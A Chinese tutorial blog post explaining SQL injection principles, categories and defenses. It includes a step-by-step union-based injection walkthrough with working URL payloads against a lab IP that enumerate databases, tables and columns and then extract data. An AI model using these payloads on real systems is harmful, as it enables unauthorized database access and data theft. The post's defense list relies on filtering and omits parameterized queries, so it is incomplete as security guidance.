当前位置: 首页 > article >正文

基础漏洞——SQL注入原理和利用

目录

一.SQL注入原理(什么是SQL注入?)

二.什么原因导致Sql?

三.SQL注入分类

(1)基于注入点

(2)根据提交方式

(3)基于获取数据类型

四.SQL注入的实现过程(最基础的一种)

1.判断能否控制数据库------》判断有无sql注入

2.查看前语句查询得列数----》有4列 #orderby 4 ,指对第4列进行排序

3.联合查询----》找显示位置

4.联合查询----》找库名

5.联合查询----》找库名对应得表名

6.联合查询----》找库名对应得表名对应得字段名

7.查数据

五.sql注入的危害

六.sql注入的防御

一.SQL注入原理(什么是SQL注入?)

由于web应用程序对用户输入的数据的合法性没有进行判断或过滤不严,攻击者可以通过在查询语句后面加入额外的SQL语句,以此来实现欺骗数据库执行非授权的操作查询。

二.什么原因导致Sql?

(1)程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL语句

(2)未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

三.SQL注入分类

(1)基于注入点

数据型

字符型

搜索型

(2)根据提交方式

GET

POST

Cookie

PUT

HTTP头

(3)基于获取数据类型

正常回显

报错注入

布尔盲注

时间盲注

堆叠注入

宽字节注入

四.SQL注入的实现过程(最基础的一种)

1.判断能否控制数据库------》判断有无sql注入

http://192.168.2.12/liyanban/03list.php?uid=4 and 0 //没有数据

http://192.168.2.12/liyanban/03list.php?uid=4 and 1 //有数据

解释:进入这个web页面url发现可以控制页面的显示

2.查看前语句查询得列数----》有4列 #orderby 4 ,指对第4列进行排序

http://192.168.2.12/liyanban/03list.php?uid=4 order by 4    //有数据 (orderby 排序)

http://192.168.2.12/liyanban/03list.php?uid=4 order by 5    //没有数据 或报错

http://192.168.2.12/liyanban/03list.php?uid=4 group by 4    //有数据

http://192.168.2.12/liyanban/03list.php?uid=4 group by 5    //没有数据

解释:接着通过这个web页面url发现可以通过order by或 group by函数产看这个也页面有几个列数。

3.联合查询----》找显示位置

http://192.168.2.12/liyanban/03list.php?uid=-4 union select 1,2,3,4

解释:接着通过这个web页面url发现可以通过联合查询,看显示的行数是哪几列

4.联合查询----》找库名

http://192.168.2.12/liyanban/03list.php?uid=-4 union select 1,2,3,group_concat(schema_name) from   information_schema.schemata

解释:接着通过这个web页面url发现可以通过联合查询,看数据库的库民有哪些

5.联合查询----》找库名对应得表名

http://192.168.2.12/liyanban/03list.php?uid=-4 union select 1,2,3,group_concat(table_name) from   information_schema.tables   wheretable_schema='fya'

解释:接着通过这个web页面url发现可以通过联合查询,看具体数据库的表名有哪些。

6.联合查询----》找库名对应得表名对应得字段名

http://192.168.2.12/liyanban/03list.php?uid=-4 union select 1,2,3,group_concat(column_name) from   information_schema.columns wheretable_schema='fya' and table_name = 'stu'

解释:接着通过这个web页面url发现可以通过联合查询,看具体数据库的具体表的有字段名有哪些。

7.查数据

http://192.168.2.12/liyanban/03list.php?uid=-4 union select 1,2,3,group_concat(concat_ws('==',uname,yw,yy)) from fya.t1

五.sql注入的危害

1.获取数据库中敏感信息

2.执行非授权的增删,篡改数据库的数据信息。

3.通过提权,远程操纵,再数据库上传恶意文件,留下后门。

六.sql注入的防御

1.基于攻击特征进行过滤。

2.对一些特定字符,如‘,“禁用或者过滤,或者实体化。

3.对一些特点的sql查询函数过滤或禁用。

4.限制输入字符的长度。

我个人学习总结的一篇笔记,希望能帮到你,可能后面会更新一些靶场或者真实的注入漏洞。


http://www.kler.cn/news/309986.html

相关文章:

  • 职业院校数据科学与大数据技术专业人工智能实训室建设方案
  • 【Linux篇】TCP/IP协议(笔记)
  • 深入探索Go语言中的函数:匿名函数、指针参数与函数返回
  • vue3中如何拿到vue2中的this
  • 嵌入式epoll面试题面试题及参考答案
  • 金蝶SHR,在列表对某个金额字段汇总展示的需求
  • 英特尔剥离芯片代工业务 与亚马逊达成重要合作
  • 五大注入攻击网络安全类型介绍
  • AutoSar AP 面向服务通信的提供者和消费者“连接”的方法
  • VUE实现刻度尺进度条
  • Java-数据结构-优先级队列(堆)-(一) (;´д`)ゞ
  • 后端id设置long类型时,传到前端,超过19位最后两位为00
  • k8s用StatefulSet部署redis
  • 图神经网络模型扩展(5)--2
  • 《Effective C++》第三版——让自己习惯C++
  • SpringDataJPA基础增删改查
  • 【OpenGL 学习笔记】01 - CLion 配置 CMake 运行初始 demo
  • 【PyTorch入门·求导相关】一文解释 PyTorch的求导 (backward、autograd.grad)
  • C#中抽象类和接⼝有什么区别?
  • 深入解析:联邦政策如何影响科技行业发展
  • windows10通过coursier安装scala
  • 什么是注解?
  • 硬件工程师笔试面试——电机
  • 25. MyBatis中的RowBounds是什么?如何实现内存分页?
  • Presto如何使用
  • CF EDU 169
  • 初写MySQL四张表:(1/4)
  • 【Kubernetes】常见面试题汇总(二十三)
  • Longman Dictionary of Contemporary English (朗文当代高级英语辞典)
  • MySQL高阶1783-大满贯数量